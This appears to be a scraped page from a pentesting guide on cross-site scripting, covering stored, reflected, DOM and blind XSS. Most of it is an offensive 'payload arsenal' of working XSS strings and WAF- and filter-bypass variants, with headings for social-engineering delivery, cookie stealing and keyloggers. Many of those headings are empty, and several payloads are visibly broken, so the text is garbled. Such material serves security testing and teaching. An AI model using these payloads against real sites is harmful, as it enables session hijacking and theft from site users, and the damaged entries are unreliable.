Cross-site scripting (XSS)

circle-exclamation

Understanding Cross-Site Scripting

What is XSS?

Cross-Site Scripting (XSS) exploits the way web applications handle user input by injecting malicious client-side scripts into web pages viewed by other users. When applications fail to properly validate, sanitize, or encode user input, attackers can manipulate the intended page structure to execute arbitrary JavaScript code.

Vulnerable Code Example

// PHP vulnerable code
$search = $_GET['search'];
echo "<div>Search results for: " . $search . "</div>";

Normal Request:

  • URL: GET /search.php?search=products

  • Output: <div>Search results for: products</div>

Malicious Request:

  • URL: GET /search.php?search=<script>alert('XSS')</script>

  • Output: <div>Search results for: <script>alert('XSS')</script></div>

How XSS Works

XSS attacks exploit the trust a user has for a particular site. The malicious script executes in the victim's browser with the same privileges as legitimate scripts from the trusted domain, allowing access to:

  • Session Cookies - Steal authentication tokens

  • DOM Content - Access and modify page content

  • User Input - Capture form data and keystrokes

  • Browser APIs - Access camera, microphone, location

  • Cross-Origin Requests - Make requests to other domains

Common Vulnerable Input Points

GET Parameters

  • URL query string parameters

  • Path parameters in RESTful APIs

  • Fragment identifiers (#hash)

POST Parameters

  • Form input fields (text, textarea, hidden)

  • File upload parameters

  • JSON request bodies

  • XML data elements

HTTP Headers

  • User-Agent strings

  • Referer headers

  • X-Forwarded-For headers

  • Custom application headers

  • Accept-Language headers

Cookies

  • Session identifiers

  • User preference cookies

  • Tracking cookies

  • Authentication tokens

WebSocket Messages

  • Real-time chat messages

  • Live notifications

  • Dynamic content updates


XSS Detection Methodology

Detection involves systematically identifying input points where user-supplied data influences HTML output and determining if proper input validation and output encoding are implemented.

Manual Detection Techniques

Basic Syntax Testing

HTML Tag Testing:

Script Tag Testing

Basic Script Injection:

Event Handler Testing:

Context-Specific Testing

HTML Context Testing:

JavaScript Context Testing:

URL Context Testing:

Response Analysis Techniques

Content Analysis:

HTTP Status Code Analysis:


Stored XSS (Persistent)

Stored XSS occurs when malicious scripts are permanently stored on the target server (in databases, files, or other storage) and executed whenever users access the stored content. This type affects multiple users and doesn't require social engineering.

Detection and Baseline Establishment

Identifying Storage Points

User Profile Data:

Comment Systems:

Forum Posts:

Message Boards and Chat Systems

Private Messages:

Live Chat Systems:

File Upload Systems

File Description Fields:

Filename Manipulation:

Exploitation Strategies

Multi-User Impact Testing

Administrative Interface Targeting:

Cross-User Data Theft:

Persistent Session Hijacking

Cookie Stealing Payload:

Keylogger Installation:


Reflected XSS (Non-Persistent)

Reflected XSS occurs when malicious scripts are immediately reflected back to the user without being stored on the server. The attack requires social engineering to trick users into clicking malicious links or submitting malicious forms.

Detection Methodology

Parameter-Based Detection

URL Parameter Testing:

Form Parameter Testing:

Error Message Exploitation

404 Error Page Testing:

Search Result Messages:

Exploitation Techniques

URL-Based Attack Vectors

Direct Link Attacks:

Shortened URL Attacks:

  • Use URL shorteners to hide malicious payload

  • Create bit.ly, tinyurl, or custom shortener links

Social Engineering Delivery

Email-Based Delivery:

QR Code Attacks:

Form-Based Reflection Attacks

Contact Form Exploitation:


DOM-based XSS

DOM-based XSS occurs when the vulnerability exists in client-side code rather than server-side code. The malicious script modifies the DOM environment in the victim's browser, and the server never sees the malicious payload.

Source and Sink Analysis

Identifying DOM Sources

URL Fragment Sources:

  • location.hash

  • location.search

  • location.pathname

  • window.location.href

  • document.URL

  • document.documentURI

  • document.baseURI

Testing URL Fragment Injection:

Message Event Sources:

Identifying DOM Sinks

Dangerous Sink Functions:

  • eval()

  • setTimeout()

  • setInterval()

  • Function()

  • document.write()

  • document.writeln()

  • innerHTML

  • outerHTML

  • insertAdjacentHTML()

HTML Content Sinks:

Client-Side Template Injection

AngularJS Template Injection

Vue.js Template Injection

Advanced DOM Exploitation

JavaScript Framework Exploitation

React XSS Vectors:

jQuery Sink Exploitation:

Browser API Exploitation

LocalStorage/SessionStorage Injection:

WebSocket Message Injection:


XSS Payload Arsenal

Basic Payloads

Alert Box Payloads

  • <script>alert('XSS')</script>

  • <script>alert(1)</script>

  • <script>alert(document.domain)</script>

  • <script>alert(document.cookie)</script>

  • <img src=x onerror=alert('XSS')>

  • <img src=x onerror=alert(1)>

  • <img/src=x/onerror=alert(1)>

  • <img src="x" onerror="alert('XSS')">

  • <svg onload=alert('XSS')>

  • <svg/onload=alert(1)>

  • <svg onload="alert('XSS')">

  • <body onload=alert('XSS')>

  • <body/onload=alert(1)>

Event Handler Payloads

Mouse Events:

  • <div onmouseover=alert('XSS')>Hover me</div>

  • <span onclick=alert('XSS')>Click me</span>

  • <p onmousedown=alert('XSS')>Press me</p>

Focus Events:

  • <input onfocus=alert('XSS') autofocus>

  • <select onfocus=alert('XSS') autofocus>

  • <textarea onfocus=alert('XSS') autofocus>

  • <keygen onfocus=alert('XSS') autofocus>

Load Events:

  • <iframe onload=alert('XSS')>

  • <object onload=alert('XSS')>

  • <embed onload=alert('XSS')>

Error Events:

  • <video onerror=alert('XSS')><source>

  • <audio onerror=alert('XSS')><source>

  • <track onerror=alert('XSS')>

Context-Specific Payloads

HTML Context Payloads

  • <script>alert('HTML Context')</script>

  • <img src=x onerror=alert('HTML Context')>

  • <svg onload=alert('HTML Context')>

  • <details open ontoggle=alert('HTML5 XSS')>

  • <marquee onstart=alert('HTML5 XSS')>

  • <meter onclick=alert('HTML5 XSS')>

Attribute Context Payloads

  • " onmouseover="alert('Attribute XSS')" "

  • ' onmouseover='alert('Attribute XSS')' '

  • "/> <script>alert('Attribute XSS')</script> <div a="

  • javascript:alert('href XSS')

  • data:text/html,<script>alert('data URI XSS')</script>

  • vbscript:MsgBox("VBScript XSS")

JavaScript Context Payloads

  • '; alert('JS String XSS'); //

  • "; alert('JS String XSS'); //

  • '; alert('JS String XSS'); var dummy='

  • '; alert('JS Variable XSS'); var x='

  • "; alert('JS Variable XSS'); var x="

  • '); alert('JS Function XSS'); foo('

  • "); alert('JS Function XSS'); foo("

CSS Context Payloads

  • </style><script>alert('CSS XSS')</script><style>

  • expression(alert('CSS Expression XSS'))

  • behavior:url(javascript:alert('CSS Behavior XSS'))

  • </style><svg onload=alert('CSS SVG XSS')><style>

Advanced Payloads

Session Hijacking Payloads

Credential Harvesting Payloads

Keylogger Payloads


Filter Evasion & Bypass Techniques

Filter Analysis & Bypass Strategies

Case Manipulation Bypasses

  • <ScRiPt>alert('XSS')</ScRiPt>

  • <SCRIPT>alert('XSS')</SCRIPT>

  • <sCrIpT>alert('XSS')</sCrIpT>

  • <img src=x OnErRoR=alert('XSS')>

  • <div OnMoUsEoVeR=alert('XSS')>

  • <body OnLoAd=alert('XSS')>

  • <ImG sRc=x OnErRoR=alert('XSS')>

  • <SvG oNlOaD=alert('XSS')>

  • <DiV oNcLiCk=alert('XSS')>

HTML Entity Encoding Bypasses

  • &lt;script&gt;alert('XSS')&lt;/script&gt;

  • &#60;script&#62;alert('XSS')&#60;/script&#62;

  • &#x3C;script&#x3E;alert('XSS')&#x3C;/script&#x3E;

  • &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;

  • &#60;img src=x onerror=alert(&#39;XSS&#39;)&#62;

  • &#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;alert('XSS')&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;

URL Encoding Bypasses

  • %3Cscript%3Ealert('XSS')%3C/script%3E

  • %3Cimg%20src%3Dx%20onerror%3Dalert('XSS')%3E

  • %253Cscript%253Ealert('XSS')%253C/script%253E

  • %253Cimg%2520src%253Dx%2520onerror%253Dalert('XSS')%253E

  • %3Cscript%3Ealert(%27XSS%27)%3C/script%3E

  • %3Cimg%20src%3Dx%20onerror%3Dalert(%22XSS%22)%3E

Unicode and UTF-8 Bypasses

  • <script>alert('\u0058\u0053\u0053')</script>

  • <script>alert('\x58\x53\x53')</script>

  • <script>alert('<script>')</script>

  • <img src=x onerror=alert('🚨')>

  • <scr\u0131pt>alert('XSS')</scr\u0131pt>

Whitespace and Character Bypasses

  • <script >alert('XSS')</script> (tab characters)

  • <img src=x onerror=alert('XSS')> (tab characters)

  • <script\n>alert('XSS')</script> (newline characters)

  • <script\r>alert('XSS')</script> (carriage return)

  • <script\f>alert('XSS')</script> (form feed)

  • <img src=x\t\n onerror=alert('XSS')> (multiple whitespace types)

WAF Circumvention Techniques

Comment-Based WAF Bypasses

  • <script>/**/alert('XSS')/**/</script>

  • <img/**/src=x/**/onerror=alert('XSS')>

  • <script><!---->alert('XSS')<!----></script>

  • <img src=x onerror=<!---->alert('XSS')<!---->>

  • <script>/*<!-- */alert('XSS')/*--></script>

Attribute Delimiter Bypasses

  • <img src=x onerror=alert('XSS')> (no quotes)

  • <div onclick=alert('XSS')> (no quotes)

  • <img src="x" onerror='alert("XSS")'> (mixed quotes)

  • <div onclick='alert("XSS")'> (mixed quotes)

  • <img src=x onerror=alert('XSS')> (backticks)

Tag Structure Bypasses

  • <img/src=x/onerror=alert('XSS')/> (self-closing tags)

  • <svg/onload=alert('XSS')/>

  • <input/onfocus=alert('XSS')/autofocus>

  • <img src=x onerror=alert('XSS'// (malformed tags)

  • <script>alert('XSS')</script (malformed)

  • <svg onload=alert('XSS') (malformed)

Alternative Event Handlers

  • <details open ontoggle=alert('XSS')>

  • <marquee onstart=alert('XSS')>XSS</marquee>

  • <input oncut=alert('XSS')>

  • <input onpaste=alert('XSS')>

  • <input oninput=alert('XSS')>

  • <video onplay=alert('XSS')><source>

  • <audio oncanplay=alert('XSS')><source>

  • <track onload=alert('XSS')>

  • <form onsubmit=alert('XSS')>

  • <input onchange=alert('XSS')>

  • <select onchange=alert('XSS')><option>

Encoding & Obfuscation Methods

JavaScript Obfuscation

  • <script>alert('X'+'S'+'S')</script> (string concatenation)

  • <script>alert('X'+'SS')</script>

  • <script>alert(String.fromCharCode(88,83,83))</script> (character code conversion)

  • <script>alert(String.fromCharCode(65,108,101,114,116)+'(1)')</script>

  • <script>eval(atob('YWxlcnQoJ1hTUycpOw=='))</script> (Base64 encoding)

  • <script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>

  • <script>eval('\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29')</script> (hex encoding)

  • <script>alertXSS</script> (template literals)

  • <script>evalalert`XSS`</script>

Alternative JavaScript Execution

  • <img src=x onerror=setTimeout('alert("XSS")',1)>

  • <img src=x onerror=setInterval('alert("XSS")',1)>

  • <img src=x onerror=Function('alert("XSS")')()>

  • <img src=x onerror=window['Function']('alert("XSS")')()>

  • <img src=x onerror=new%20Function('alert("XSS")')()>

  • <img src=x onerror=function*(){yield%20alert('XSS')}().next()>

CSS-Based Bypasses

  • <div style="background:expression(alert('XSS'))"> (CSS expression - IE)

  • <style>@import"javascript:alert('XSS')";</style> (CSS import with JavaScript)

  • <div style="behavior:url('javascript:alert(\"XSS\")')"> (CSS behavior)

  • <style>@import"data:text/css,*{color:red;background:url('javascript:alert(\"XSS\")')}"</style>


Blind XSS

Blind XSS occurs when the injected payload executes in a different context than where it was submitted, often in administrative panels, email systems, or log viewers where the attacker cannot directly observe the execution.

Detection Techniques

Payload Deployment Strategies

Contact Form Injection:

User Registration Blind XSS:

Support Ticket Systems:

Advanced Blind XSS Payloads

Information Gathering:

Administrative Panel Detection:

Exploitation Methods

Email System Exploitation

Email Template Injection:

Email Header Injection:

Log File Exploitation

Access Log Injection:

Error Log Injection:

Third-Party Integration Exploitation

Analytics Dashboard Injection:

CRM Integration Injection:


Advanced XSS Techniques

XSS Chaining

Multi-Stage Attack Chains

Initial Access → Privilege Escalation:

XSS → CSRF → Data Exfiltration Chain:

Progressive Payload Loading

Conditional Payload Loading:

Post-Exploitation Techniques

Persistent Access Methods

Service Worker Persistence:

LocalStorage Persistence:

Advanced Data Exfiltration

DNS Exfiltration:

Browser Exploitation

WebRTC IP Extraction:

Geolocation Access:

Last updated

Was this helpful?